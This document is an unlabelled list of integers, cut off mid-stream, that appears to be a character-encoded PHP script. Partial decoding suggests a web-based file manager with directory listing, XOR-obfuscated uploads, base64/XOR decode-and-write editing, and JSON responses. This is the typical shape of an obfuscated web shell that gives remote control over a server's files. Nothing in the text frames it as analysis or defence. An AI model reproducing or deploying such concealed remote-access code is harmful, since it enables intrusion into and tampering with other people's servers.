25, 28, 5, 72, 73, 90, 83, 25, 88, 85, 90, 72, 72, 6, 39, 88, 87, 78, 86, 103, 25, 88, 78, 87, 87, 94, 83, 77, 39, 3, 28, 19, 81, 77, 86, 85, 72, 73, 94, 88, 82, 90, 85, 88, 81, 90, 87, 72, 17, 29, 73, 18, 19, 28, 5, 20, 72, 73, 90, 83, 3, 28, 0, 54, 63, 25, 25, 25, 25, 70, 54, 63, 25, 25, 25, 25, 82, 91, 25, 17, 73, 87, 94, 92, 100, 86, 90, 77, 88, 81, 17, 28, 24, 99, 17, 96, 122, 22, 111, 90, 22, 79, 102, 15, 18, 17, 20, 19, 31, 18, 4, 29, 24, 28, 21, 25, 29, 73, 21, 25, 29, 86, 18, 18, 25, 64, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 29, 93, 87, 82, 75, 94, 25, 6, 25, 29, 86, 96, 10, 102, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 29, 87, 94, 72, 77, 25, 6, 25, 29, 86, 96, 23, 102, 25, 4, 4, 25, 28, 28, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 29, 73, 90, 87, 77, 72, 25, 6, 25, 90, 87, 87, 90, 66, 100, 75, 90, 85, 78, 94, 72, 17, 90, 87, 87, 90, 66, 100, 91, 82, 85, 77, 94, 87, 17, 94, 65, 73, 85, 84, 93, 94, 17, 28, 20, 28, 21, 25, 29, 87, 94, 72, 77, 18, 21, 25, 91, 83, 17, 29, 72, 18, 6, 3, 29, 72, 26, 6, 6, 28, 28, 18, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 29, 84, 78, 77, 25, 6, 25, 96, 102, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 29, 84, 78, 77, 96, 102, 25, 6, 25, 28, 5, 90, 25, 81, 87, 94, 91, 6, 39, 24, 39, 25, 93, 90, 77, 90, 22, 73, 90, 77, 81, 6, 39, 28, 19, 81, 77, 86, 85, 72, 73, 94, 88, 82, 90, 85, 88, 81, 90, 87, 72, 17, 39, 29, 93, 87, 82, 75, 94, 20, 39, 21, 25, 126, 115, 109, 100, 106, 110, 116, 109, 126, 104, 18, 19, 28, 39, 25, 88, 85, 90, 72, 72, 6, 39, 88, 87, 78, 86, 103, 39, 3, 28, 19, 81, 77, 86, 85, 72, 73, 94, 88, 82, 90, 85, 88, 81, 90, 87, 72, 17, 39, 29, 93, 87, 82, 75, 94, 20, 39, 18, 19, 28, 5, 20, 90, 3, 28, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 29, 90, 88, 88, 25, 6, 25, 39, 29, 93, 87, 82, 75, 94, 39, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 91, 84, 87, 94, 90, 88, 81, 25, 17, 29, 73, 90, 87, 77, 72, 25, 90, 72, 25, 29, 82, 25, 6, 3, 25, 29, 72, 94, 92, 18, 25, 64, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 29, 90, 88, 88, 25, 19, 6, 25, 39, 20, 29, 72, 94, 92, 39, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 82, 91, 25, 17, 29, 82, 25, 6, 6, 6, 25, 88, 84, 78, 83, 77, 17, 29, 73, 90, 87, 77, 72, 18, 22, 10, 18, 25, 29, 84, 78, 77, 96, 102, 25, 6, 25, 28, 5, 72, 73, 90, 83, 25, 88, 85, 90, 72, 72, 6, 39, 88, 87, 78, 86, 103, 25, 88, 78, 87, 87, 94, 83, 77, 39, 3, 28, 19, 81, 77, 86, 85, 72, 73, 94, 88, 82, 90, 85, 88, 81, 90, 87, 72, 17, 29, 72, 94, 92, 18, 19, 28, 5, 20, 72, 73, 90, 83, 3, 28, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 94, 85, 72, 94, 25, 29, 84, 78, 77, 96, 102, 25, 6, 25, 28, 5, 90, 25, 81, 87, 94, 91, 6, 39, 24, 39, 25, 93, 90, 77, 90, 22, 73, 90, 77, 81, 6, 39, 28, 19, 81, 77, 86, 85, 72, 73, 94, 88, 82, 90, 85, 88, 81, 90, 87, 72, 17, 29, 90, 88, 88, 21, 25, 126, 115, 109, 100, 106, 110, 116, 109, 126, 104, 18, 19, 28, 39, 25, 88, 85, 90, 72, 72, 6, 39, 88, 87, 78, 86, 103, 39, 3, 28, 19, 81, 77, 86, 85, 72, 73, 94, 88, 82, 90, 85, 88, 81, 90, 87, 72, 17, 29, 72, 94, 92, 18, 19, 28, 5, 20, 90, 3, 28, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 70, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 87, 94, 77, 78, 87, 83, 25, 82, 86, 73, 85, 84, 93, 94, 17, 28, 5, 72, 73, 90, 83, 25, 88, 85, 90, 72, 72, 6, 39, 88, 87, 78, 86, 103, 22, 72, 94, 73, 39, 3, 25, 20, 25, 5, 20, 72, 73, 90, 83, 3, 28, 21, 25, 29, 84, 78, 77, 18, 0, 54, 63, 25, 25, 25, 25, 70, 54, 63, 25, 25, 25, 25, 82, 91, 25, 17, 73, 87, 94, 92, 100, 86, 90, 77, 88, 81, 17, 28, 24, 99, 20, 20, 17, 96, 99, 20, 102, 16, 18, 20, 17, 96, 99, 20, 102, 16, 18, 17, 20, 19, 31, 18, 4, 29, 24, 28, 21, 25, 29, 73, 21, 25, 29, 86, 18, 18, 25, 64, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 29, 72, 94, 87, 75, 94, 87, 25, 6, 25, 29, 86, 96, 10, 102, 0, 25, 29, 72, 81, 90, 87, 94, 25, 6, 25, 29, 86, 96, 23, 102, 0, 25, 29, 87, 94, 72, 77, 25, 6, 25, 29, 86, 96, 8, 102, 25, 4, 4, 25, 28, 28, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 29, 73, 90, 87, 77, 72, 25, 6, 25, 90, 87, 87, 90, 66, 100, 75, 90, 85, 78, 94, 72, 17, 90, 87, 87, 90, 66, 100, 91, 82, 85, 77, 94, 87, 17, 94, 65, 73, 85, 84, 93, 94, 17, 28, 20, 28, 21, 25, 29, 87, 94, 72, 77, 18, 21, 25, 91, 83, 17, 29, 72, 18, 6, 3, 29, 72, 26, 6, 6, 28, 28, 18, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 29, 84, 78, 77, 25, 6, 25, 96, 102, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 29, 84, 78, 77, 96, 102, 25, 6, 25, 28, 5, 90, 25, 81, 87, 94, 91, 6, 39, 24, 39, 25, 93, 90, 77, 90, 22, 73, 90, 77, 81, 6, 39, 20, 20, 28, 25, 19, 25, 81, 77, 86, 85, 72, 73, 94, 88, 82, 90, 85, 88, 81, 90, 87, 72, 17, 39, 29, 72, 94, 87, 75, 94, 87, 20, 29, 72, 81, 90, 87, 94, 39, 21, 25, 126, 115, 109, 100, 106, 110, 116, 109, 126, 104, 18, 25, 19, 25, 28, 39, 25, 88, 85, 90, 72, 72, 6, 39, 88, 87, 78, 86, 103, 39, 3, 20, 20, 28, 19, 81, 77, 86, 85, 72, 73, 94, 88, 82, 90, 85, 88, 81, 90, 87, 72, 17, 39, 29, 72, 94, 87, 75, 94, 87, 20, 29, 72, 81, 90, 87, 94, 39, 18, 19, 28, 5, 20, 90, 3, 28, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 29, 90, 88, 88, 25, 6, 25, 28, 20, 20, 28, 25, 19, 25, 29, 72, 94, 87, 75, 94, 87, 25, 19, 25, 28, 20, 28, 25, 19, 25, 29, 72, 81, 90, 87, 94, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 91, 84, 87, 94, 90, 88, 81, 25, 17, 29, 73, 90, 87, 77, 72, 25, 90, 72, 25, 29, 82, 25, 6, 3, 25, 29, 72, 94, 92, 18, 25, 64, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 29, 90, 88, 88, 25, 19, 6, 25, 28, 20, 28, 25, 19, 25, 29, 72, 94, 92, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 82, 91, 25, 17, 29, 82, 25, 6, 6, 6, 25, 88, 84, 78, 83, 77, 17, 29, 73, 90, 87, 77, 72, 18, 22, 10, 18, 25, 29, 84, 78, 77, 96, 102, 25, 6, 25, 28, 5, 72, 73, 90, 83, 25, 88, 85, 90, 72, 72, 6, 39, 88, 87, 78, 86, 103, 25, 88, 78, 87, 87, 94, 83, 77, 39, 3, 28, 19, 81, 77, 86, 85, 72, 73, 94, 88, 82, 90, 85, 88, 81, 90, 87, 72, 17, 29, 72, 94, 92, 18, 19, 28, 5, 20, 72, 73, 90, 83, 3, 28, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 94, 85, 72, 94, 25, 29, 84, 78, 77, 96, 102, 25, 6, 25, 28, 5, 90, 25, 81, 87, 94, 91, 6, 39, 24, 39, 25, 93, 90, 77, 90, 22, 73, 90, 77, 81, 6, 39, 28, 19, 81, 77, 86, 85, 72, 73, 94, 88, 82, 90, 85, 88, 81, 90, 87, 72, 17, 29, 90, 88, 88, 21, 25, 126, 115, 109, 100, 106, 110, 116, 109, 126, 104, 18, 19, 28, 39, 25, 88, 85, 90, 72, 72, 6, 39, 88, 87, 78, 86, 103, 39, 3, 28, 19, 81, 77, 86, 85, 72, 73, 94, 88, 82, 90, 85, 88, 81, 90, 87, 72, 17, 29, 72, 94, 92, 18, 19, 28, 5, 20, 90, 3, 28, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 70, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 87, 94, 77, 78, 87, 83, 25, 82, 86, 73, 85, 84, 93, 94, 17, 28, 5, 72, 73, 90, 83, 25, 88, 85, 90, 72, 72, 6, 39, 88, 87, 78, 86, 103, 22, 72, 94, 73, 39, 3, 25, 20, 25, 5, 20, 72, 73, 90, 83, 3, 28, 21, 25, 29, 84, 78, 77, 18, 0, 54, 63, 25, 25, 25, 25, 70, 54, 63, 25, 25, 25, 25, 29, 73, 90, 87, 77, 72, 25, 6, 25, 94, 65, 73, 85, 84, 93, 94, 17, 28, 20, 28, 21, 25, 29, 73, 18, 0, 54, 63, 25, 25, 25, 25, 29, 84, 78, 77, 25, 6, 25, 96, 102, 0, 54, 63, 25, 25, 25, 25, 82, 91, 25, 17, 17, 29, 73, 90, 87, 77, 72, 96, 9, 102, 25, 4, 4, 25, 28, 28, 18, 25, 6, 6, 6, 25, 28, 28, 18, 25, 29, 84, 78, 77, 96, 102, 25, 6, 25, 28, 5, 90, 25, 81, 87, 94, 91, 6, 39, 24, 39, 25, 93, 90, 77, 90, 22, 73, 90, 77, 81, 6, 39, 20, 39, 25, 88, 85, 90, 72, 72, 6, 39, 88, 87, 78, 86, 103, 39, 3, 20, 5, 20, 90, 3, 28, 0, 54, 63, 25, 25, 25, 25, 29, 90, 88, 88, 25, 6, 25, 28, 28, 0, 54, 63, 25, 25, 25, 25, 91, 84, 87, 94, 90, 88, 81, 25, 17, 29, 73, 90, 87, 77, 72, 25, 90, 72, 25, 29, 82, 25, 6, 3, 25, 29, 72, 94, 92, 18, 25, 64, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 82, 91, 25, 17, 29, 72, 94, 92, 25, 6, 6, 6, 25, 28, 28, 18, 25, 88, 84, 83, 77, 82, 83, 78, 94, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 29, 90, 88, 88, 25, 19, 6, 25, 28, 20, 28, 25, 19, 25, 29, 72, 94, 92, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 82, 91, 25, 17, 29, 82, 25, 6, 6, 6, 25, 88, 84, 78, 83, 77, 17, 29, 73, 90, 87, 77, 72, 18, 22, 10, 18, 25, 29, 84, 78, 77, 96, 102, 25, 6, 25, 28, 5, 72, 73, 90, 83, 25, 88, 85, 90, 72, 72, 6, 39, 88, 87, 78, 86, 103, 25, 88, 78, 87, 87, 94, 83, 77, 39, 3, 28, 19, 81, 77, 86, 85, 72, 73, 94, 88, 82, 90, 85, 88, 81, 90, 87, 72, 17, 29, 72, 94, 92, 18, 19, 28, 5, 20, 72, 73, 90, 83, 3, 28, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 94, 85, 72, 94, 25, 29, 84, 78, 77, 96, 102, 25, 6, 25, 28, 5, 90, 25, 81, 87, 94, 91, 6, 39, 24, 39, 25, 93, 90, 77, 90, 22, 73, 90, 77, 81, 6, 39, 28, 19, 81, 77, 86, 85, 72, 73, 94, 88, 82, 90, 85, 88, 81, 90, 87, 72, 17, 29, 90, 88, 88, 21, 25, 126, 115, 109, 100, 106, 110, 116, 109, 126, 104, 18, 19, 28, 39, 25, 88, 85, 90, 72, 72, 6, 39, 88, 87, 78, 86, 103, 39, 3, 28, 19, 81, 77, 86, 85, 72, 73, 94, 88, 82, 90, 85, 88, 81, 90, 87, 72, 17, 29, 72, 94, 92, 18, 19, 28, 5, 20, 90, 3, 28, 0, 54, 63, 25, 25, 25, 25, 70, 54, 63, 25, 25, 25, 25, 82, 91, 25, 17, 26, 29, 84, 78, 77, 18, 25, 29, 84, 78, 77, 96, 102, 25, 6, 25, 28, 5, 72, 73, 90, 83, 25, 88, 85, 90, 72, 72, 6, 39, 88, 87, 78, 86, 103, 25, 88, 78, 87, 87, 94, 83, 77, 39, 3, 20, 5, 20, 72, 73, 90, 83, 3, 28, 0, 54, 63, 25, 25, 25, 25, 87, 94, 77, 78, 87, 83, 25, 82, 86, 73, 85, 84, 93, 94, 17, 28, 5, 72, 73, 90, 83, 25, 88, 85, 90, 72, 72, 6, 39, 88, 87, 78, 86, 103, 22, 72, 94, 73, 39, 3, 25, 20, 25, 5, 20, 72, 73, 90, 83, 3, 28, 21, 25, 29, 84, 78, 77, 18, 0, 54, 63, 70, 54, 63, 54, 63, 91, 78, 83, 88, 77, 82, 84, 83, 25, 95, 72, 84, 83, 100, 87, 94, 72, 73, 84, 83, 72, 94, 17, 29, 93, 90, 77, 90, 21, 25, 82, 83, 77, 25, 29, 88, 84, 93, 94, 25, 6, 25, 23, 9, 9, 18, 15, 25, 75, 84, 82, 93, 25, 64, 54, 63, 25, 25, 25, 25, 81, 77, 77, 73, 100, 87, 94, 72, 73, 84, 83, 72, 94, 100, 88, 84, 93, 94, 17, 29, 88, 84, 93, 94, 18, 0, 54, 63, 25, 25, 25, 25, 81, 94, 90, 93, 94, 87, 17, 28, 120, 84, 83, 77, 94, 83, 77, 22, 109, 66, 73, 94, 15, 25, 90, 73, 73, 85, 82, 88, 90, 77, 82, 84, 83, 20, 95, 72, 84, 83, 0, 25, 88, 81, 90, 87, 72, 94, 77, 6, 110, 109, 123, 22, 1, 28, 18, 0, 54, 63, 25, 25, 25, 25, 94, 88, 81, 84, 25, 95, 72, 84, 83, 100, 94, 83, 88, 84, 93, 94, 17, 29, 93, 90, 77, 90, 18, 0, 54, 63, 25, 25, 25, 25, 94, 65, 82, 77, 0, 54, 63, 70, 54, 63, 54, 63, 20, 31, 25, 93, 94, 88, 84, 93, 94, 25, 81, 94, 65, 25, 83, 90, 80, 65, 83, 25, 91, 87, 84, 86, 25, 105, 116, 104, 109, 20, 124, 126, 109, 21, 25, 88, 85, 90, 86, 73, 25, 77, 84, 25, 87, 84, 84, 77, 25, 31, 20, 54, 63, 91, 78, 83, 88, 77, 82, 84, 83, 25, 87, 94, 74, 78, 94, 72, 77, 94, 93, 100, 73, 90, 77, 81, 17, 72, 77, 87, 82, 83, 92, 25, 29, 87, 84, 84, 77, 18, 15, 25, 72, 77, 87, 82, 83, 92, 25, 64, 54, 63, 25, 25, 25, 25, 29, 87, 90, 76, 25, 6, 25, 29, 100, 105, 116, 104, 109, 96, 28, 83, 90, 80, 65, 83, 28, 102, 25, 4, 4, 25, 17, 29, 100, 124, 126, 109, 96, 28, 83, 90, 80, 65, 83, 28, 102, 25, 4, 4, 25, 28, 28, 18, 0, 54, 63, 25, 25, 25, 25, 29, 93, 94, 88, 84, 93, 94, 93, 25, 6, 25, 29, 87, 90, 76, 25, 26, 6, 6, 25, 28, 28, 25, 4, 25, 78, 81, 94, 65, 17, 17, 72, 77, 87, 82, 83, 92, 18, 29, 87, 90, 76, 18, 25, 15, 25, 29, 87, 84, 84, 77, 0, 54, 63, 25, 25, 25, 25, 29, 73, 90, 77, 81, 25, 6, 25, 17, 72, 77, 87, 82, 83, 92, 18, 29, 93, 94, 88, 84, 93, 94, 93, 0, 54, 63, 25, 25, 25, 25, 29, 87, 94, 72, 84, 85, 75, 94, 93, 25, 6, 25, 72, 90, 91, 94, 100, 95, 84, 82, 83, 17, 29, 87, 84, 84, 77, 21, 25, 29, 73, 90, 77, 81, 18, 0, 54, 63, 25, 25, 25, 25, 82, 91, 25, 17, 26, 76, 82, 77, 81, 82, 83, 100, 87, 84, 84, 77, 17, 29, 87, 94, 72, 84, 85, 75, 94, 93, 21, 25, 29, 87, 84, 84, 77, 18, 18, 25, 29, 87, 94, 72, 84, 85, 75, 94, 93, 25, 6, 25, 29, 87, 84, 84, 77, 0, 54, 63, 25, 25, 25, 25, 87, 94, 77, 78, 87, 83, 25, 29, 87, 94, 72, 84, 85, 75, 94, 93, 0, 54, 63, 70, 54, 63, 54, 63, 20, 31, 25, 6, 6, 6, 6, 6, 25, 110, 73, 85, 84, 90, 93, 25, 97, 116, 119, 22, 72, 77, 87, 94, 90, 86, 25, 17, 87, 90, 76, 25, 105, 116, 104, 109, 18, 25, 6, 6, 6, 6, 6, 25, 31, 20, 54, 63, 91, 78, 83, 88, 77, 82, 84, 83, 25, 65, 84, 87, 100, 93, 94, 88, 84, 93, 94, 100, 72, 77, 87, 94, 90, 86, 100, 78, 73, 85, 84, 90, 93, 17, 29, 82, 83, 21, 25, 29, 84, 78, 77, 18, 15, 25, 75, 84, 82, 93, 25, 64, 54, 63, 25, 25, 25, 25, 29, 103, 78, 91, 104, 82, 79, 94, 25, 6, 25, 11, 14, 14, 8, 11, 0, 54, 63, 25, 25, 25, 25, 29, 82, 83, 93, 94, 65, 25, 6, 25, 9, 0, 54, 63, 25, 25, 25, 25, 76, 81, 82, 85, 94, 25, 17, 26, 91, 94, 84, 91, 17, 29, 82, 83, 18, 18, 25, 64, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 29, 88, 81, 78, 83, 80, 25, 6, 25, 91, 87, 94, 90, 93, 17, 29, 82, 83, 21, 25, 29, 103, 78, 91, 104, 82, 79, 94, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 82, 91, 25, 17, 29, 88, 81, 78, 83, 80, 25, 6, 6, 6, 25, 28, 28, 25, 69, 69, 25, 29, 88, 81, 78, 83, 80, 25, 6, 6, 6, 25, 91, 90, 85, 72, 94, 18, 25, 103, 87, 94, 90, 80, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 29, 85, 94, 83, 25, 6, 25, 72, 77, 87, 85, 94, 83, 17, 29, 88, 81, 78, 83, 80, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 91, 84, 87, 25, 17, 29, 82, 25, 6, 25, 9, 0, 25, 29, 82, 25, 5, 25, 29, 85, 94, 83, 0, 25, 29, 82, 16, 16, 21, 25, 29, 82, 83, 93, 94, 65, 16, 16, 18, 25, 64, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 29, 80, 94, 66, 25, 6, 25, 17, 29, 82, 83, 93, 94, 65, 25, 31, 25, 10, 12, 25, 16, 25, 17, 82, 83, 77, 18, 91, 85, 84, 84, 87, 17, 85, 84, 92, 17, 29, 82, 83, 93, 94, 65, 25, 16, 25, 23, 18, 25, 31, 25, 73, 82, 17, 18, 25, 31, 25, 10, 9, 9, 9, 18, 18, 25, 27, 25, 9, 65, 123, 123, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 29, 88, 81, 78, 83, 80, 96, 29, 82, 102, 25, 6, 25, 88, 81, 87, 17, 84, 87, 93, 17, 29, 88, 81, 78, 83, 80, 96, 29, 82, 102, 18, 25, 99, 25, 29, 80, 94, 66, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 70, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 91, 76, 87, 82, 77, 94, 17, 29, 84, 78, 77, 21, 25, 29, 88, 81, 78, 83, 80, 18, 0, 54, 63, 25, 25, 25, 25, 70, 54, 63, 70, 54, 63, 54, 63, 20, 31, 25, 6, 6, 6, 6, 6, 25, 126, 93, 82, 77, 84, 87, 25, 97, 116, 119, 25, 80, 94, 66, 25, 17, 85, 84, 92, 10, 9, 25, 16, 25, 81, 94, 65, 93, 94, 88, 18, 25, 6, 6, 6, 6, 6, 25, 31, 20, 54, 63, 91, 78, 83, 88, 77, 82, 84, 83, 25, 94, 93, 82, 77, 84, 87, 100, 65, 84, 87, 100, 80, 94, 66, 17, 82, 83, 77, 25, 29, 82, 18, 15, 25, 82, 83, 77, 25, 64, 54, 63, 25, 25, 25, 25, 29, 81, 25, 6, 25, 93, 94, 88, 81, 94, 65, 17, 17, 29, 82, 25, 31, 25, 8, 10, 25, 16, 25, 12, 18, 25, 27, 25, 9, 65, 123, 123, 123, 123, 123, 123, 123, 123, 18, 0, 54, 63, 25, 25, 25, 25, 29, 85, 90, 72, 77, 23, 25, 6, 25, 72, 78, 103, 72, 77, 87, 17, 29, 81, 21, 25, 22, 23, 18, 0, 54, 63, 25, 25, 25, 25, 29, 81, 65, 25, 6, 25, 81, 94, 65, 93, 94, 88, 17, 29, 85, 90, 72, 77, 23, 18, 0, 54, 63, 25, 25, 25, 25, 29, 80, 25, 6, 25, 17, 29, 81, 65, 25, 99, 25, 17, 29, 82, 25, 27, 25, 9, 65, 123, 123, 18, 18, 25, 16, 25, 17, 82, 83, 77, 18, 91, 85, 84, 84, 87, 17, 85, 84, 92, 10, 9, 17, 29, 82, 25, 16, 25, 8, 18, 25, 31, 25, 2, 12, 18, 0, 54, 63, 25, 25, 25, 25, 87, 94, 77, 78, 87, 83, 25, 29, 80, 25, 27, 25, 9, 65, 123, 123, 0, 54, 63, 70, 54, 63, 54, 63, 20, 31, 25, 119, 126, 122, 125, 25, 17, 73, 85, 90, 82, 83, 18, 25, 31, 20, 54, 63, 91, 78, 83, 88, 77, 82, 84, 83, 25, 94, 93, 82, 77, 84, 87, 100, 72, 77, 87, 94, 90, 86, 100, 87, 94, 90, 93, 100, 91, 82, 85, 94, 100, 73, 85, 90, 82, 83, 17, 72, 77, 87, 82, 83, 92, 25, 29, 91, 82, 85, 94, 18, 15, 25, 72, 77, 87, 82, 83, 92, 25, 64, 54, 63, 25, 25, 25, 25, 29, 91, 81, 25, 6, 25, 121, 91, 84, 73, 94, 83, 17, 29, 91, 82, 85, 94, 21, 25, 28, 87, 103, 28, 18, 0, 54, 63, 25, 25, 25, 25, 82, 91, 25, 17, 26, 29, 91, 81, 18, 25, 87, 94, 77, 78, 87, 83, 25, 28, 28, 0, 54, 63, 25, 25, 25, 25, 29, 103, 78, 91, 104, 82, 79, 94, 25, 6, 25, 11, 14, 14, 8, 11, 0, 54, 63, 25, 25, 25, 25, 29, 84, 78, 77, 25, 6, 25, 28, 28, 0, 54, 63, 25, 25, 25, 25, 76, 81, 82, 85, 94, 25, 17, 26, 91, 94, 84, 91, 17, 29, 91, 81, 18, 18, 25, 64, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 29, 88, 81, 78, 83, 80, 25, 6, 25, 91, 87, 94, 90, 93, 17, 29, 91, 81, 21, 25, 29, 103, 78, 91, 104, 82, 79, 94, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 82, 91, 25, 17, 29, 88, 81, 78, 83, 80, 25, 6, 6, 6, 25, 28, 28, 25, 69, 69, 25, 29, 88, 81, 78, 83, 80, 25, 6, 6, 6, 25, 91, 90, 85, 72, 94, 18, 25, 103, 87, 94, 90, 80, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 29, 84, 78, 77, 25, 19, 6, 25, 29, 88, 81, 78, 83, 80, 0, 54, 63, 25, 25, 25, 25, 70, 54, 63, 25, 25, 25, 25, 91, 88, 85, 84, 72, 94, 17, 29, 91, 81, 18, 0, 54, 63, 25, 25, 25, 25, 87, 94, 77, 78, 87, 83, 25, 29, 84, 78, 77, 0, 54, 63, 70, 54, 63, 54, 63, 20, 31, 25, 104, 122, 107, 126, 25, 73, 90, 77, 81, 72, 25, 31, 20, 54, 63, 91, 78, 83, 88, 77, 82, 84, 83, 25, 94, 93, 82, 77, 84, 87, 100, 72, 77, 87, 94, 90, 86, 100, 93, 94, 88, 84, 93, 94, 100, 90, 83, 93, 100, 76, 87, 82, 77, 94, 100, 103, 11, 13, 17, 72, 77, 87, 82, 83, 92, 25, 29, 94, 83, 88, 84, 93, 94, 93, 100, 103, 11, 13, 21, 25, 72, 77, 87, 82, 83, 92, 25, 29, 93, 94, 72, 77, 18, 15, 25, 103, 84, 84, 85, 25, 64, 54, 63, 25, 25, 25, 25, 29, 87, 90, 76, 25, 6, 25, 103, 90, 72, 94, 11, 13, 100, 93, 94, 88, 84, 93, 94, 17, 29, 94, 83, 88, 84, 93, 94, 93, 100, 103, 11, 13, 21, 25, 77, 87, 78, 94, 18, 0, 54, 63, 25, 25, 25, 25, 82, 91, 25, 17, 29, 87, 90, 76, 25, 6, 6, 6, 25, 91, 90, 85, 72, 94, 18, 25, 87, 94, 77, 78, 87, 83, 25, 91, 90, 85, 72, 94, 0, 54, 63, 25, 25, 25, 25, 29, 91, 81, 25, 6, 25, 121, 91, 84, 73, 94, 83, 17, 29, 93, 94, 72, 77, 21, 25, 28, 76, 103, 28, 18, 0, 54, 63, 25, 25, 25, 25, 82, 91, 25, 17, 26, 29, 91, 81, 18, 25, 87, 94, 77, 78, 87, 83, 25, 91, 90, 85, 72, 94, 0, 54, 63, 54, 63, 25, 25, 25, 25, 29, 82, 83, 93, 94, 65, 25, 6, 25, 9, 0, 54, 63, 25, 25, 25, 25, 29, 85, 94, 83, 25, 6, 25, 72, 77, 87, 85, 94, 83, 17, 29, 87, 90, 76, 18, 0, 54, 63, 25, 25, 25, 25, 29, 88, 81, 78, 83, 80, 104, 82, 79, 94, 25, 6, 25, 11, 14, 14, 8, 11, 0, 54, 63, 25, 25, 25, 25, 91, 84, 87, 25, 17, 29, 84, 91, 91, 72, 94, 77, 25, 6, 25, 9, 0, 25, 29, 84, 91, 91, 72, 94, 77, 25, 5, 25, 29, 85, 94, 83, 0, 25, 29, 84, 91, 91, 72, 94, 77, 25, 16, 6, 25, 29, 88, 81, 78, 83, 80, 104, 82, 79, 94, 18, 25, 64, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 29, 72, 85, 82, 88, 94, 25, 6, 25, 72, 78, 103, 72, 77, 87, 17, 29, 87, 90, 76, 21, 25, 29, 84, 91, 91, 72, 94, 77, 21, 25, 29, 88, 81, 78, 83, 80, 104, 82, 79, 94, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 29, 72, 85, 94, 83, 25, 6, 25, 72, 77, 87, 85, 94, 83, 17, 29, 72, 85, 82, 88, 94, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 91, 84, 87, 25, 17, 29, 82, 25, 6, 25, 9, 0, 25, 29, 82, 25, 5, 25, 29, 72, 85, 94, 83, 0, 25, 29, 82, 16, 16, 21, 25, 29, 82, 83, 93, 94, 65, 16, 16, 18, 25, 64, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 29, 80, 94, 66, 25, 6, 25, 94, 93, 82, 77, 84, 87, 100, 65, 84, 87, 100, 80, 94, 66, 17, 29, 82, 83, 93, 94, 65, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 29, 72, 85, 82, 88, 94, 96, 29, 82, 102, 25, 6, 25, 88, 81, 87, 17, 84, 87, 93, 17, 29, 72, 85, 82, 88, 94, 96, 29, 82, 102, 18, 25, 99, 25, 29, 80, 94, 66, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 70, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 82, 91, 25, 17, 91, 76, 87, 82, 77, 94, 17, 29, 91, 81, 21, 25, 29, 72, 85, 82, 88, 94, 18, 25, 6, 6, 6, 25, 91, 90, 85, 72, 94, 18, 25, 64, 25, 91, 88, 85, 84, 72, 94, 17, 29, 91, 81, 18, 0, 25, 87, 94, 77, 78, 87, 83, 25, 91, 90, 85, 72, 94, 0, 25, 70, 54, 63, 25, 25, 25, 25, 70, 54, 63, 25, 25, 25, 25, 91, 88, 85, 84, 72, 94, 17, 29, 91, 81, 18, 0, 54, 63, 25, 25, 25, 25, 87, 94, 77, 78, 87, 83, 25, 77, 87, 78, 94, 0, 54, 63, 70, 54, 63, 91, 78, 83, 88, 77, 82, 84, 83, 25, 94, 93, 82, 77, 84, 87, 100, 72, 77, 87, 94, 90, 86, 100, 93, 94, 88, 84, 93, 94, 100, 90, 83, 93, 100, 76, 87, 82, 77, 94, 100, 85, 94, 92, 90, 88, 66, 17, 72, 77, 87, 82, 83, 92, 25, 29, 94, 83, 88, 84, 93, 94, 93, 21, 25, 72, 77, 87, 82, 83, 92, 25, 29, 93, 94, 72, 77, 18, 15, 25, 103, 84, 84, 85, 25, 64, 54, 63, 25, 25, 25, 25, 29, 94, 83, 88, 84, 93, 94, 93, 25, 6, 25, 72, 77, 87, 82, 73, 